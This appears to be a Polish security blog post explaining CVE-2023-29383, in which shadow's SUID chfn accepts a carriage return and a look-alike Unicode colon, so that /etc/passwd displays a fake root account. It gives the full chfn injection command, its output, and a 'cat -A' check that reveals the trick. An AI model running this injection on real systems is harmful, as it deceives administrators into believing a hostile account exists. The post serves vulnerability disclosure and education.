CVE-2023-29383 – nadużywanie polecenia chfn do fałszowania danych z /etc/passwd

nfsec.pl 1 rok temu

W pakiecie shadow 4.13 możliwe jest wstrzyknięcie znaków kontrolnych do pól dostarczanych do programu SUID chfn (change finger). Chociaż nie jest możliwe wykorzystanie tego błędu bezpośrednio (np.dodanie nowego użytkownika nie powiedzie się, ponieważ znak nowej linii '\n' znajduje się na liście zablokowanych znaków) to możliwe jest sfałszowanie danych wyświetlanych z pliku /etc/passwd. Użycie manipulacji znaków '\r' (CR [carriage return]) i Unicode w celu obejścia znaku „:” umożliwia stworzenie wrażenia, iż dodano nowego użytkownika. Innymi słowy, atakujący może być w stanie przekonać administratora systemu do sprawdzenia lub choćby wyłączenia systemu poprzez wykazanie, iż polecenie: cat /etc/passwd pokazuje wrogie konto użytkownika.

Dla przypomnienia – program chfn służy do zmiany danych danych GECOS, które są wyświetlane m.in. przez już rzadko używany i instalowany program finger. Informacje te są przechowywane w pliku /etc/passwd. Sama luka nie jest niebezpieczna, ale interesująca jest historia autora znaleziska. Tom Neaves dwa lata temu obrał sobie program chfn jako kandydata do sprawdzenia pod kątem błędów bezpieczeństwa. Dlaczego chfn? Dlatego, iż jest to jeden z niewielkiej liczby programów, który posiada jeszcze bit SUID, co oznacza, iż działa z uprawnieniami użytkownika „root” niezależnie od użytkownika, który go wykonuje. Dzieje się tak, ponieważ musi zmodyfikować wspomniany plik /etc/passwd, aby wykonać swoją pracę. Luka w takim programie oznaczałaby lokalną eskalację uprawnień (jak to miało miejsce w 2005 roku), ponieważ każde polecenie lub działanie, które możemy wstrzyknąć, jest wykonywane w kontekście administratora systemu. Niestety nie udało mu się znaleźć nic interesującego oprócz listy blokującej różne znaki specjalne, które wcześniej były wykorzystywane w lukach. Po dwóch latach autor natrafił na lekturę błędu, który również dotyczył chfn i zmiennej środowiskowej, co dodało mu motywacji do powrotu poszukiwań kolejnych błędów w tym programie.

Koniec końców udało dojść się do tego, iż można użyć znaku kontrolnego CR '\r’, aby ponownie rozpocząć linię, a następnie być nieco kreatywnym i użyć znaku unicode „\ua789”, aby uzyskać jak najbliższe dopasowanie do dwukropka:

agresor@darkstar:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync agresor:x:100:100:agresor:/home/agresor:/bin/bash

Modyfikujemy dane o użytkowniku:

agresor@darkstar:~$ chfn -r "`echo -e '\rhacked\ua789x\ua7890\ua7890\ua789root user'`" Password: hacked:x:0:0:root user'non-ASCII characters: '

Sprawdzamy, jak wyświetlane są teraz dane:

agresor@darkstar:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync hacked:x:0:0:root user,,:/home/agresor:/bin/bash

Oczywiście możemy sprawdzić, jak wygląda to rzeczywiście:

agresor@darkstar:~$ cat -A /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync agresor:x:100:100:agresor,^MhackedM-jM-^^M-^IxM-jM-^^M-^I0M-jM-^^M-^I0M-jM-^^M-^Iroot user, ,:/home/agresor:/bin/bash$

Więcej informacji: CVE-2023-29383: Abusing Linux chfn to Misrepresent /etc/passwd

Idź do oryginalnego materiału